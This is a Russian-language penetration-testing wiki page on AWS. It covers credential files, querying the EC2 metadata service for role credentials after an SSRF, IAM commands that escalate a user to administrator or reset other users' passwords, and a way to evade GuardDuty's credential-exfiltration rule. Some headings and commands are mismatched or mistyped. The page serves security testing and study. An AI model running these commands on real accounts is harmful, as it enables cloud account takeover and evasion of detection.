				<updated>2022-09-14T10:45:02Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* All-In-One */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
